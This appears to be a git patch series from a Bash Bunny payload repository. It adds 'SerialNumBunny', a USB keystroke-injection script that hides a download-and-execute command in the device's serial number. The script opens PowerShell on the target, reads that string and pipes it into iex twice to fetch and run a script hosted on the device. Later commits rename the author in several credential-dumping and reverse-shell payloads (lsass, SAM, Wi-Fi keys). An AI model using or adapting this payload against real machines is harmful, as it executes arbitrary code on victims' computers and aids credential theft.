zblD>A&lRn1kkgG;IgrvSn6C&td_nXC%&KWX$LZYwA(nXF<~C>YSfE7i`E9GlZql9Cr(=N8g>^R=J=D;p5?Jc`G*1|JWbWd(tfXe?c%Q;lj_A+d zSk?rH*VUrA+euz1Fyg`Z-Pf;9cIM6}>_LU6&A(-3cld6!FQ|8KA7i~auHt2W6t&@O zMUgEjHr6Cw>M0oEr3g|{9C<0CSaK) zYra`FoBMKIm3NEkbAeV}Ht{HZG44Bc?kmv%R%sX>7+3wwoPW>1_CSE^pP_0yc~SRM z&V2%D43C+_6mSRSwYT!VzDtP;<$$j%u#E&eMkR8BWcz;}dcxTCFbjLqhpEPfY#qx9 zw72rXJTM^a;ojN)+dcWnQBBKE&S}CRPe8xl$U0ke{l7!8QMW&Re`69y# z)nr^jJL0It_!hq%=L+$bqrLNm)^#C=XfY&dw^Ffr|F@deYw@A_9dx3tF#Te(1rZx1 z-e>h-HcDZdg@%KXKe6(@cBTB*3XJsqCzrS9@lYvxEye>)r$ZelLZmL&hWnOT2x1bU7t~WJ#RPN76u*)m zoq@WOOoYqgh9*itmu)u?Psp4h;t09adn6CdV_~dQu0JnxYqi`?r{^cyIw`)O zjVbw#<#4uL{fTcoi%x^!xb#roELd)ci{12f4Q^Hs+%8j6q_$q%l^fuZ77;}1#VFt> zxa@SAZ;qZBLneBYH-231r0gvQ;xvs(vV#j71q!SNTYY+XMUn}2YD&f%N}|%gu#`?7 zOdR7VN5S3-To==wT~CZ$b}v&yZ~42}w+qR%Zr* zrmjYV@!Oqe%BNOV2l*hTi=gegN#VRr&?55iCgt;OGedmQYUlVbQOH8mMw?(?5c`I& zi_gTW!_6vtpg5xWl0P7T+CyB(ccb6yr0ugiVXK_4-ENU$u&hz;Dg0=$ITt1z2AUDR zc0C_xB7ja_%t547?7bnK;vxd{9}q3*W%3&MM%U?Eu>pmMQSJjch6Jdv4z{Z)tGk@n z@rJ_bV$kZLN@)9$PN!$akhw-;8>kZ1CkPqPIZ~w6h|B@$eb^e8wQo^n-$KvV!GF}Saq67f154G zRQz}?W}V+C5FA`)Ihb}f5YpUuocVe6R$GB(bw8^kBQ}>1UDEEc8396fWf(!-fNb90 zcm}dwm`1$bf*FLx`1sV&&rNo0wuXs9{CXqmkum*L3v-0^FbP7eG{<45Vkb(b1Xx!t zR+DQ{uOvU{mcyT};4qv8AEgv)s4v{`V zZAfu1R8DJ#P!kapRRNJEyFvFPgo$6QE2gzvoJP{tPj)C>Y(PEUd~*x*l`X+;szc9O zMi{@K^^X`;7l90r*E}S`A6}AeX>z{KkQuZaUqBd_n}FjbNAnh1ZZED{RPAr}67>-c z>gd+S-V$gXSE5cZIQ|(A2VqGwwCz^xm8gODO3`X}$zUKa;-|N-jw8uQSeocEqa*<_ zL;2w)2wJehj(2;(93bv?$&SuPlJdo<_}cXs-JW|WN00SqAHdBvFQGo0FrriKn`48g z;=6J44{AKB7tV&i1b2l&c*w83CnAhgcOK~>DrlXW=Or0jb01tKwGk!SFCQTjfNiP zs#KxbgcnA2n^3dG)bec*9MU@C`V&OUmCZ#|^TnvDv7das=jC}#vjGB~b!ji|NBp7JK|p`y+8C!V@S6#3g1^HIr(@BqIENql&g1Dtk|xR*?crfc{3)tHE0@(v9zrm zy_E9Yp{=!DMMm`6e)RFG$4kpLq6e3A2nZRuQxdayt(#F>o+=v!_TIekzKLRbzo-0- zEix@8-)3@uzWmZZO}CRsiSHjBxxN9nySoMl8{+z#K8%a!zdH;xKA_I`VnGf{-q##v zdd*FjC+p2>JECUuiA)RE?-v&1IoJDMhYW4Rl(5WucD4RQQPBT5yk&b@a+U~>K79>4 zPolEf$bnwNNY^`oBMOM1c4tHqE_;o)m#FI~e^c89xRc4oV)vv6Ho~H{qr4R=1iu+e z=A~~P&e^|NlDeoUP)!H1df|;v(&_f_uP-B@(=L^ka{;Vw1_dBel#_XC(=ljBX3x;G z$lYz_zAeaVx}p1OZ>M3yz^?==6op2BSm#fOKn_=jU1jO)_>j(X1N74So82R?p7CF| z*YqlB)-;D^1=5UlPW&niXlW+^3C%PO%%Ih3IL1_tM7|0*J>@a8zr z=j*u=mc|`i+3%G5z;F>qFLn@*CE7Z-AUTU196J88lw1E-$dFOptN%q7iz&$OpVxdk|0-4qFEO6=aswq?S;b46B#vz{xHfXi#ah(b*RBK zf|X)dC0dP_&tkfvD(O9&#|7iF%+;K<;}c=)iGAp1nu-l5q>6G{;cPESyO>=crOLpC6$r(ykyTe15gF$1 zjpd$ay=G3ET~@EEtmX!Mo!n6&QsKGPV%eA!mL1_`o49GshUQp2o#y~E-WrT#(Msm; zk8|do*8SlXb@7HjEDwc!Weq&vI+z`7-rHXv<2Pd-6Fy zM|F1mA^0GrBxOG*(0-H4b9q+B#FvAnwt#QGc`mh**jyT--f`)mU z-pPLQhBCPY2Xg1PX=#4(#eY=Zv&sEc*&?#YQE?cS|FDJfm+mhe$Q_oJpL zEUc}H|E{-09>eA$$RI#2*YXZrKD(wRlb5ux`i0Q9p?~>54QBS{$uV;9%C1UtqBpGK z`1zEP95!3_zf)3my_;X(#2OhF`hS(Fp8agkBsZV=On~WA?&F=!kvR9dY_W;Fag^q$ zDP%Owh}*f4^ZSiozWc~EkTC#AE1x*k-TNS$pK0!HMEs3RKL%-r`Mp(&zug=5S0}S> z?Sv*Yh_AkAG|k4%9>|f#^wwB^h;bN-eQSC0cN7Tzk~tv`S=Q-E{QN~Q5i2;eL9*CE_I&+{(U%20D^-TQo}E!D`JmEkKs}eVFjdx)q@E zE@tadgp>gy28J%J@JJSwC^9zh1Imjg*GT#H5o(Dm2G{Mp@)!7w;p!sUYgYTaMiZRn z96%AUu)chRH2tfQ>2ivo#L;52cpMvczu%bu-q=@r7n6*RrNtO@&D$Kn#Uu|CsU|$~ z#kfNw05204mY-9VHUshG$!TB9S3wiFm} zI3bbk(GT}y^E%R6AsuP*_4F?u!dOb=?pa+D-`x9iJbcxHC}@Z@ z!_RO3qh@f`$z;Gq!SE#7PCBaX^J}2vG;a-gv+*Db{1as8Te<(zG?p9*HiHX{>A{jI zn>yW$>>KAT0pRlQl(Ai7sT}hPY=B$MgKBNO>fMvNcR`TjNF|yeOopom>IvLJ#pU zT1=}U#`a;qb~C1?Pgd2l6n*5|UkHB9c$i8!Tgk`BV!UkNYGwG35wx}#<6)4m*`RY# z!f+h8q)h)EmY;Y@M^--xWp})6F9i0%O<>*;z$L3cqbW$c)t+6SY58we60ZQ0iwt5? zEIHnYX^igUp2fIjn2NG=Wut;mDpi?2_~i$rCgs^b5L&A!JCMQs^H-6-SVHErKsZ51 zuky-IJ~JYjv}eAbUdD4`1DFF{d}hE;-dRW3BSxVE{om67g!ur}W=6?NX^=fKl5LOO<7 zhH`=iKh^dW^JMD0_}+pdMmaBR?qg{rn8u06Ah|F-#`-;X_jW7$6#QQttlE`|%60u| zxFD_9Bl6U_qB$XlE62O0zK;gIrc3Zm0^7rA>02CFFr9(PXq#<{3S8Ys#i*Hh&=L;o zjpHNSG8A}P!)GY~I6@qsr^(O0Fz#rU@Nq(r#3P}(!KfzkY0CLx~p zh|G-^0qx!di%44S`12EK-N8bL~;k~lRQi4X4xoU z{oKNB(hjVBHu+Hx;q{IJ_;Xq;LrO*Vc<9aMYFT=RNEH{D!8RTrD%IIa^{7pKS6xp& z71Cc60B#;(s-}X-uADhW7~)7DlCJ%Uq1#<_RP=l&S$Zg zPFpUCxb}~yOTY9HBapm2$n7<(PWDr;D>*v(Bzfi6R_bEEY50Iph}l7>eaVqjQ@%m_ zys+kBXG>r}oAbozVDU2lY>1k4n3o?-%^p+a!~t=hOsL*ux9hfUX79B=sa4o zg(mD8nq%Avwj@CeX^#n~0DG>a4w$jw{mCxui4ozI%t_)8P2%S)W^!Hlku)|G#16+# z@(R;U`l2|$zw{ebnrkucVvkQVf4N2qF2GF8OfJ$QwTdB6Wy2ZE9W_!KZE&l^Q)5Jm zP1v?_$uiPxKLV~S;Lz9#XBDe4L`S5xKS-~|^{J}XaeffOJ1Hx^o9hI!cZL_LhUB~j zy&ck8VXp1T;j#vId=B%^(lZ7Lu0>bNYPqx6ys{b^|6Y9+jChI@l<$ty@<{dbTnN~v zM3v-&td)j(hF}t_mVSl~RlJvwVPSdO$Ux)a$BO0{?2}CPQ_(6dgWgI?6zGzv? zOL3MOsx$#rJw7Z}n>MYXs1=-NcoCcViW26cTmecE(wfilaOl+_p19?hxay75Cb~cO zHE1LMjkzLCM?+w)>y;9G=tlt0AqwX{ex7euO{7)?MkC14%e#T^)THJteKhGm%O#v0 z6UQ?Z4HX=e;CIG=Y=vX3#s>BM=ui(NJ0$r3>DJ!q_$xMTcb{Ss^$HMZC!TDUh%<6i zH}emkyQ-1!(Ufa@2?0`nF2^I=J`5kHOF^$+J%Zd^Vh#`%Tue2$lIDV5xxu-j&%5nJ^nKBCkik-v6_I{q1#$_Jj<5& zmL(PzlDU3o!Ut95&O09m4!4wPdR;T7>GPl~lPnoPSNItsr!={@GZ4P0%ho$P=5~p~Jxu zGgdCo(S}kUKCo($>1pbFc%m{+CSsd5`aM#wYImkFLnB%S{u}T;*s-v>{p5j}r4lY- zp)R`_(BSuh>G7#Tk?X@erCL#reY5m!qx@&Q9-4wEi2zsbu_1{=1zwH#%w=P|k37PX zvpccat}LH}y8?%^KVv+%h-WXx6a<^^Pcf*!X(g`u_6fce08}nF(L2l{X8v{ ztYobr#XylLQ!aMWK{mbZw5bUV&;GGrAoaeYPbz`ddoNWYo2UYZqiquC%aNy~Ux>Ar}$r1e;x@s!QN3 zTQZC@eAf*Yf)@X&(bNW3#)N@uowF5kKG~6C_WNo+Wg=lGpHx9Rv8l5g>Ux{Q8qLIG z&e?p-D&*2zcf{hQp4ms#@g5QwF2{0yFL47Lv^hd+)!OMY zOQF!_=78Ly;9^aij~hlnI&j(cmB_~rI89|!%C9?*?4|{WoL;I{X_|xcCy21H{)qh> z=O>yd<#}Txe-jACa6K;?%`x|?rp5uh3?+r9*LktC;yq4L8tF+yhKe-DnX8F8&!nF6 ziLATpd<2U8c||I!0|0m*R$~CB6%AOq3{2-d>v*YaO9A{_8kJrE+^{$ZMqK`eFW
xP;G6(*bzxZ+GcC=!0(@I%!WmX+ zO}ok2nF(}L#)cxVs#MFTJPP|*tm_**PA^YI;;&>ZP4f{KzB{`=mWp`)up*&rgDGj| znwYm?nW(>x+T?s7DXVQLNG+dxm31*xY0)5{5eN6*I0jp~u^&$m`WK`1R8#BLy!aA zljXY5Yp{@{rM-yJClupoUs)<49QP7P@^0Z10gtRSZn)?DDq7-@&U&0**>yLuc6pUV8L_7&(`qV*3YCxR8xT7U!Jyh^J};~B26$BCiRuTJF{y%GJEIgYUp`w z@Ml_D!v!KzW#(EQRkcB2l)oq^4(?gdvU z&uvnAKwfX2_~Z&hvdb!*0L|{lfpGCku2~tQCxVJ`!9UDtBA!`ybFB?ec59e=E8eIs zdT9_EfW@4C)!Ai2Ki>8n)Kv)z333vQ>%po_M75*)r^d(6lvwU{-j z$(^ViG@7Awsn|kWp}ASTMAw>Ud39{2d}lZNk5khdoX3rC2I<*wDU1%~k$xFo5eJ}< z$iiCnhIIvGvMPy!IT(F9YFkxMGG2U=F**8epT;wAZ zlOmpAcw#*}K%@hm{ZQyuR6`-M=Zy{uj5hsKh_WARB$$eP^^oMdn7F#Yn|3u`E=z++ zeovmQwg4HhDPqQ?AtCd6D0xGdjH7q0bBbhxxGy;?5Zg8g5~5(BKI}mYO1p@@;fSyp z0P6MMXWp~AW==xJaEy|vzlFx zxNe5}B_U6$BVrd#64uWFA)b;KeyYXQ8D}T)lmvx4Jn9P=Ck1F*UapLsML#gHv;*7u4DnGuol$sk+0Vl_7|iM4PLaM(Qq6j zF6&8N?RV+6Z#t3Bazu)1RY@W`t8a*^iy@a)ELHnmceIwLC!d^d1f3S4HkIg!gn_ zeN6vg5gQ7Iyc@vSh+H9x5{P&7c$$Cj14&~+h08p}0137O+rY*L83trlM)`(^4S`gz z$B0g4Wx6rEHB08Z#7p~pZ*d8VL$GKSoq(F9jI@e{F9s&>SSqen(OhixFIu~@HBSnF z^_6Y?*PWhiJ4_e9 z5}>BpicM)PMmnCUc<|Sql3cCRVBxr6F!Y9HwaLC^oZo1D*y24V2iZDX8Mq3jt+3yk?1T6zx|Vi( zH^VqU)J@Ax6vl;IiO!z)7mka(6r80jzQECXXD3opM1WiPR`Ro7giE-^Kyk9IyvhU( zt1Vu?&qrX&(w(b}rZVegg!+Hn!r8ajc-a)dH01rGbGfM2QoK-EH{bKw+7-gs>XlJq z163SkDcx82Uf(~7d+4O)hJ^*;A(xpGwymr=CZHcC?a$n&y4q0BQ66$fs#C~5VRChXAGeg&0@3`nu&@F$H%OjG#r_a7Bid!gVP%={f zl;?UMOY1jMdm^K?Q20l2T%|0GguTpLkhR95fIR7fXDX37#Y11YcSA zIaSHPUN5$Fnz*mCdtPV?Pa|e8P3+n|P<ihq*-!XuQx{$oA-UAYEvv ze)Wf#N8S2M7ay3jaNO9{(yaX>he=AeYD)eKq$GZQ3w)|D^BcQZ7}EOKK-QD^#RBsb z)|GQ5vh4J8aFe$^+G7yh@J9X%+p!O9vFR$9Jxsd%1kExfnsWwj_=_@>zX9N^)jS=j zIJNiYQS+5|d+=|?WpPc>W@KxVVjtlHkh`mwTW;p|nqqlozU9pzE2s&ornWgf=_fu7 zEgiU&(CCADqt%e7c2?m{Tj+{*r(^)-Zq}=*V(uHUbWLipy0s?kGasu=y}rOu*Q%?? z=bcI=pDEX`xwTFt;I)9s-ltdnY)p zM$XPY>$bp&du`S5a87RZF#=NQ;K^fKjWp5&UN2dX!w#~+rkwNSDPJDZ+;V~N8Hyr? zPdu$%v0MD>4i}^gJSJ(4=qk)ET-bM;y_>1d_XieaZ4_4bIm~QJ<=9#HwMZ5>+hWJU2I4nJynXabHs- z1IaYoi@keB?iwm}{WDcJCX!=McS5N!nncS-?Om9!iyi~(z}%|#p5oYwoRbgbFSLvh z4q+CUKpcDq9f<2neWS-G(rWMJWhw$FEzm6eB13OD&l+!)(O0{J`CUDuNjI~dzKxVX zJ)Rck1yGZ32Pbpb97$mpI8s3{$bv#OzRv?9s?~U7(mugoGoej;#*JzI6WlzRw#b)f znBe$N1+UQYY<|cYW%zU!{BSckWXG_oByE>zR$s>hHDF)0swE(~K{>OKtf`R>km1u* zWj?YUyJ5})Phu+4rDfIk;~Kvj_dt&jYec5o^>!Y4cvIYr-4c!te0W~~O)B%yARGAYgDDHD?Ww2vr4tQ3xEx1z-v zBPhihF;crHJg&`$g_Y%8Y3pN&j9n})BuU|v8aZ0LbIC(fY4bn)sv0)L8xe!Rxh24r zn=Cbw1z#I#szcT#kLEA+jSfWlRI`mXG87f*Im{^8Bsse#6~**F8Q9pt)jZoRK=ngCZ`=4*WH1z!4an7^%Ij^k?GNpW zn6Vr8Hf4w$ q{|1>HbT35zLL7zv|NegmA8w#5Gmp?Xg{TIMSmmWvq>A601pYT6zM}8| literal 0 HcmV?d00001 diff --git a/payloads/library/execution/SerialNumBunny/payload.txt b/payloads/library/execution/SerialNumBunny/payload.txt new file mode 100644 index 000000000..1f177baff --- /dev/null +++ b/payloads/library/execution/SerialNumBunny/payload.txt @@ -0,0 +1,46 @@ +#!/bin/bash +# +# Title: SerialNumBunny +# Description: Execute strings placed in the Bunny serial number +# Author: 0iphor13 +# Version: 1.0 +# Category: Execution +# Attackmodes: HID, RNDIS_ETHERNET + +# Starting as Ethernet device only first to get IP +LED SETUP +ATTACKMODE RNDIS_ETHERNET + +GET SWITCH_POSITION +GET HOST_IP + +# Switch to Ethernet & HID +LED Y +# Defining Device Identifiers - Serialnumber contains payload +ATTACKMODE RNDIS_ETHERNET HID VID_0XF000 PID_0X1234 MAN_HAK5 PROD_BASHBUNNY SN_IWR_-URI_HTTP://$HOST_IP/1.PS1 +cd /root/udisk/payloads/$SWITCH_POSITION/ + +# starting server +LED SPECIAL + +# disallow outgoing dns requests so the server is accessible immediately +iptables -A OUTPUT -p udp --dport 53 -j DROP +python -m SimpleHTTPServer 80 & + +# wait until port is listening +while ! nc -z localhost 80; do sleep 0.2; done + +#Opens hidden powershell instance +Q DELAY 1500 +Q GUI r +Q DELAY 500 +Q STRING "powershell" +Q DELAY 500 +Q ENTER + +Q DELAY 1000 +# Make sure that device ID matches what was defined above +Q STRING "((Get-PnpDevice -PresentOnly -Class USB | Where-Object { \$_.DeviceID -like \"*F000*\" } | ForEach-Object { (\$_).DeviceID -split '\\\\' | Select-Object -Last 1 }) -join '').Replace('_', ' ')|iex|iex" +Q DELAY 400 +Q ENTER +LED FINISH \ No newline at end of file diff --git a/payloads/library/execution/SerialNumBunny/readme.md b/payloads/library/execution/SerialNumBunny/readme.md new file mode 100644 index 000000000..d3d2060bb --- /dev/null +++ b/payloads/library/execution/SerialNumBunny/readme.md @@ -0,0 +1,18 @@ +**Title: SerialNumBunny** + +

Author: 0iphor13
+OS: Windows
+Version: 1.0
+ +**What is SerialNumBunny?** + +*It is pretty simple... The BashBunny enables you to set its USB identifiers. You can change VID, PID, Manufacturer and of course, the Serial number. Now we do the little trick here and place our payload within the serial number. Then starting a webserver on the Bunny, where a script is hosted and call the serial number via powershell on the target system. The content of the retrieved script is then executed on the target. Easy as that.* + +You can get pretty creative here, from basically calling basic powershell commands, up to this example where you execute remote scripts. + +**Instruction:** + +- Upload your script or the example provided onto your Bunnys switch folder. +- Plug in the Bunny and let the magic happen. + +_Note: If you want to adapt your payload nested, in the serial number, you may need to stay in a certain character limit. In my case this was 40 characters. This might be different, depending on your target. Also make sure to replace spaces within the serial number with underscores._ From dff31d6a6ad39c7f4e051f79cbdf8b07ab7477de Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Fri, 25 Aug 2023 13:48:33 +0200 Subject: [PATCH 2/3] Update readme.md --- payloads/library/execution/SerialNumBunny/readme.md | 1 + 1 file changed, 1 insertion(+) diff --git a/payloads/library/execution/SerialNumBunny/readme.md b/payloads/library/execution/SerialNumBunny/readme.md index d3d2060bb..ac20f5f53 100644 --- a/payloads/library/execution/SerialNumBunny/readme.md +++ b/payloads/library/execution/SerialNumBunny/readme.md @@ -14,5 +14,6 @@ You can get pretty creative here, from basically calling basic powershell comman - Upload your script or the example provided onto your Bunnys switch folder. - Plug in the Bunny and let the magic happen. +![SerialNumBunny](https://github.com/0iphor13/bashbunny-payloads/assets/79219148/fa11d9b5-e2f2-45a9-a701-5a25220ca226) _Note: If you want to adapt your payload nested, in the serial number, you may need to stay in a certain character limit. In my case this was 40 characters. This might be different, depending on your target. Also make sure to replace spaces within the serial number with underscores._ From 27ad6acfe23f43829458dce23234680ae5fe5b7f Mon Sep 17 00:00:00 2001 From: 0i41E <79219148+0i41E@users.noreply.github.com> Date: Tue, 28 May 2024 19:34:18 +0200 Subject: [PATCH 3/3] Username Change --- payloads/library/credentials/FireSnatcher/README.md | 2 +- payloads/library/credentials/FireSnatcher/payload.txt | 2 +- payloads/library/credentials/HashDumpBunny/README.md | 4 ++-- payloads/library/credentials/HashDumpBunny/payload.txt | 2 +- payloads/library/credentials/MiniDumpBunny/README.md | 4 ++-- payloads/library/credentials/MiniDumpBunny/payload.txt | 2 +- payloads/library/credentials/ProcDumpBunny/README.md | 8 ++++---- payloads/library/credentials/ProcDumpBunny/payload.txt | 2 +- payloads/library/credentials/SamDumpBunny/README.md | 4 ++-- payloads/library/credentials/SamDumpBunny/payload.txt | 2 +- payloads/library/credentials/SessionBunny/README.md | 4 ++-- .../library/credentials/SessionBunny/SessionBunny.ps1 | 2 +- payloads/library/credentials/SessionBunny/payload.txt | 2 +- payloads/library/execution/SerialNumBunny/1.PS1 | 2 +- payloads/library/execution/SerialNumBunny/payload.txt | 2 +- payloads/library/execution/SerialNumBunny/readme.md | 4 ++-- payloads/library/exfiltration/WifiSnatch/payload.txt | 2 +- payloads/library/prank/-BB-AcidBurn/README.md | 2 +- payloads/library/prank/-BB-JumpScare/README.md | 2 +- payloads/library/remote_access/PingZhellBunny/Bunny.pl | 2 +- payloads/library/remote_access/PingZhellBunny/README.md | 2 +- payloads/library/remote_access/PingZhellBunny/payload.txt | 2 +- payloads/library/remote_access/ReverseBunny/README.md | 4 ++-- payloads/library/remote_access/ReverseBunny/payload.txt | 2 +- payloads/library/remote_access/ReverseBunnySSL/README.md | 6 +++--- .../library/remote_access/ReverseBunnySSL/payload.txt | 2 +- 26 files changed, 37 insertions(+), 37 deletions(-) diff --git a/payloads/library/credentials/FireSnatcher/README.md b/payloads/library/credentials/FireSnatcher/README.md index 1d3b0dd02..d55eed6ec 100644 --- a/payloads/library/credentials/FireSnatcher/README.md +++ b/payloads/library/credentials/FireSnatcher/README.md @@ -1,7 +1,7 @@ # Title: FireSnatcher # Description: Copies Wifi Keys, and Firefox Password Databases # Author: KarrotKak3 -# Props: saintcrossbow & 0iphor13 +# Props: saintcrossbow & 0i41E # Version: 1.0.2.0 (Work in Progress) # Category: Credentials # Target: Windows (Logged in) diff --git a/payloads/library/credentials/FireSnatcher/payload.txt b/payloads/library/credentials/FireSnatcher/payload.txt index 143efd55a..3c1c4443a 100644 --- a/payloads/library/credentials/FireSnatcher/payload.txt +++ b/payloads/library/credentials/FireSnatcher/payload.txt @@ -1,7 +1,7 @@ # Title: FireSnatcher # Description: Copies Wifi Keys, and Firefox Password Databases # Author: KarrotKak3 -# Props: saintcrossbow & 0iphor13 +# Props: saintcrossbow & 0i41E # Version: 1.0.2.0 (Work in Progress) # Category: Credentials # Target: Windows (Logged in) diff --git a/payloads/library/credentials/HashDumpBunny/README.md b/payloads/library/credentials/HashDumpBunny/README.md index b1460dd57..905c12fbb 100644 --- a/payloads/library/credentials/HashDumpBunny/README.md +++ b/payloads/library/credentials/HashDumpBunny/README.md @@ -1,6 +1,6 @@ **Title: HashDumpBunny** -Author: 0iphor13 +Author: 0i41E Version: 1.0 @@ -17,4 +17,4 @@ Place BunnyDump.bat in the same payload switch-folder as your payload.txt # Plug in BashBunny. Exfiltrate the out.txt file and try to crack the hashes. -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/HashDumpBunny/censoredhash.png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/HashDumpBunny/censoredhash.png) diff --git a/payloads/library/credentials/HashDumpBunny/payload.txt b/payloads/library/credentials/HashDumpBunny/payload.txt index f21e4a367..2e9e68431 100644 --- a/payloads/library/credentials/HashDumpBunny/payload.txt +++ b/payloads/library/credentials/HashDumpBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: HashDumpBunny # Description: Dump user hashes with this script, which was obfuscated with multiple layers. -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Credentials # Attackmodes: HID, Storage diff --git a/payloads/library/credentials/MiniDumpBunny/README.md b/payloads/library/credentials/MiniDumpBunny/README.md index a6fba8e03..c314caf27 100644 --- a/payloads/library/credentials/MiniDumpBunny/README.md +++ b/payloads/library/credentials/MiniDumpBunny/README.md @@ -1,6 +1,6 @@ **Title: MiniDumpBunny** -Author: 0iphor13 +Author: 0i41E Version: 1.0 @@ -14,4 +14,4 @@ What is MiniDumpBunny? Plug in your BashBunny equipped with the obfuscated MiniBunny.bat file, wait a few seconds, go away. # Exfiltrate the .dmp file and read it with Mimikatz. -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/MiniDumpBunny/mimi.png) \ No newline at end of file +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/MiniDumpBunny/mimi.png) \ No newline at end of file diff --git a/payloads/library/credentials/MiniDumpBunny/payload.txt b/payloads/library/credentials/MiniDumpBunny/payload.txt index 2fc58a03f..467e748ac 100644 --- a/payloads/library/credentials/MiniDumpBunny/payload.txt +++ b/payloads/library/credentials/MiniDumpBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: MiniDumpBunny # Description: Dump lsass with this script, which was obfuscated with multiple layers. -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Credentials # Attackmodes: HID, Storage diff --git a/payloads/library/credentials/ProcDumpBunny/README.md b/payloads/library/credentials/ProcDumpBunny/README.md index 31b9ef730..afcf570b1 100644 --- a/payloads/library/credentials/ProcDumpBunny/README.md +++ b/payloads/library/credentials/ProcDumpBunny/README.md @@ -1,6 +1,6 @@ **Title: ProcDumpBunny** -Author: 0iphor13 +Author: 0i41E Version: 1.0 @@ -12,10 +12,10 @@ What is ProcDumpBunny? **Instruction:** Download ProcDump from Microsoft - https://docs.microsoft.com/en-us/sysinternals/downloads/procdump - rename the Executeable to Bunny.exe -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(38).png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(38).png) Place Bunny.exe in the same payload switch as your payload -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(37).png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(37).png) # Plug in BashBunny. Exfiltrate the out.dmp file and read it with Mimikatz. -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(39).png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/ProcDumpBunny/Screenshot%20(39).png) diff --git a/payloads/library/credentials/ProcDumpBunny/payload.txt b/payloads/library/credentials/ProcDumpBunny/payload.txt index b0275b7e0..9480cf779 100644 --- a/payloads/library/credentials/ProcDumpBunny/payload.txt +++ b/payloads/library/credentials/ProcDumpBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: ProcDumpBunny # Description: Dump lsass.exe with a renamed version of procdump -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Credentials # Attackmodes: HID, Storage diff --git a/payloads/library/credentials/SamDumpBunny/README.md b/payloads/library/credentials/SamDumpBunny/README.md index 683fd00d2..6e64f4fa2 100644 --- a/payloads/library/credentials/SamDumpBunny/README.md +++ b/payloads/library/credentials/SamDumpBunny/README.md @@ -1,6 +1,6 @@ **Title: SamDumpBunny** -

Author: 0iphor13
+

Author: 0i41E
OS: Windows
Version: 1.0
@@ -21,4 +21,4 @@ Afterwards you can use a tool like samdump2 to extract the users hashes.

**!Disclaimer! samdump2 has proven to be unreliable in the recent past.** -![alt text](https://github.com/0iphor13/omg-payloads/blob/master/payloads/library/credentials/SamDumpCable/sam.png) +![alt text](https://github.com/0i41E/omg-payloads/blob/master/payloads/library/credentials/SamDumpCable/sam.png) diff --git a/payloads/library/credentials/SamDumpBunny/payload.txt b/payloads/library/credentials/SamDumpBunny/payload.txt index cc3120e33..a84d08de7 100644 --- a/payloads/library/credentials/SamDumpBunny/payload.txt +++ b/payloads/library/credentials/SamDumpBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: SamDumpBunny # Description: Dump users sam and system hive and exfiltrate them. Afterwards you can use a tool like samdump2, to get the users hashes. -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Credentials # Attackmodes: HID, Storage diff --git a/payloads/library/credentials/SessionBunny/README.md b/payloads/library/credentials/SessionBunny/README.md index ae8d4d7a7..b8d453475 100644 --- a/payloads/library/credentials/SessionBunny/README.md +++ b/payloads/library/credentials/SessionBunny/README.md @@ -1,6 +1,6 @@ **Title: SessionBunny** -Author: 0iphor13 +Author: 0i41E (Credit for SessionGopher: Brandon Arvanaghi) Version: 1.0 @@ -19,4 +19,4 @@ Place SessionBunny.ps1 in the same payload switch-folder as your payload.txt # Plug in BashBunny. Wait for the script to finish and decide what you wanna do with the information gathered -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/credentials/SessionBunny/censorepic.png) diff --git a/payloads/library/credentials/SessionBunny/SessionBunny.ps1 b/payloads/library/credentials/SessionBunny/SessionBunny.ps1 index c7bd78185..568b324d6 100644 --- a/payloads/library/credentials/SessionBunny/SessionBunny.ps1 +++ b/payloads/library/credentials/SessionBunny/SessionBunny.ps1 @@ -43,7 +43,7 @@ o o_ / ". SessionGopher - ," _-" Bunny Edition (0iphor13) + ," _-" Bunny Edition (0i41E) ," m m ..+ ) Brandon Arvanaghi `m..m @arvanaghi | arvanaghi.com diff --git a/payloads/library/credentials/SessionBunny/payload.txt b/payloads/library/credentials/SessionBunny/payload.txt index 4531e181f..e07f9cf5b 100644 --- a/payloads/library/credentials/SessionBunny/payload.txt +++ b/payloads/library/credentials/SessionBunny/payload.txt @@ -1,7 +1,7 @@ #!/bin/bash # # Title: SessionBunny -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Credentials # Attackmodes: HID, Storage diff --git a/payloads/library/execution/SerialNumBunny/1.PS1 b/payloads/library/execution/SerialNumBunny/1.PS1 index 0ed38dc7e..620c62ba8 100644 --- a/payloads/library/execution/SerialNumBunny/1.PS1 +++ b/payloads/library/execution/SerialNumBunny/1.PS1 @@ -12,4 +12,4 @@ $Picture=@" Sleep -s 5 Write-Host -ForegroundColor red "$Picture" Sleep -s 2 -Write-Host -ForegroundColor green "SerialNumBunny by 0iphor13" \ No newline at end of file +Write-Host -ForegroundColor green "SerialNumBunny by 0i41E" \ No newline at end of file diff --git a/payloads/library/execution/SerialNumBunny/payload.txt b/payloads/library/execution/SerialNumBunny/payload.txt index 1f177baff..3869c8d02 100644 --- a/payloads/library/execution/SerialNumBunny/payload.txt +++ b/payloads/library/execution/SerialNumBunny/payload.txt 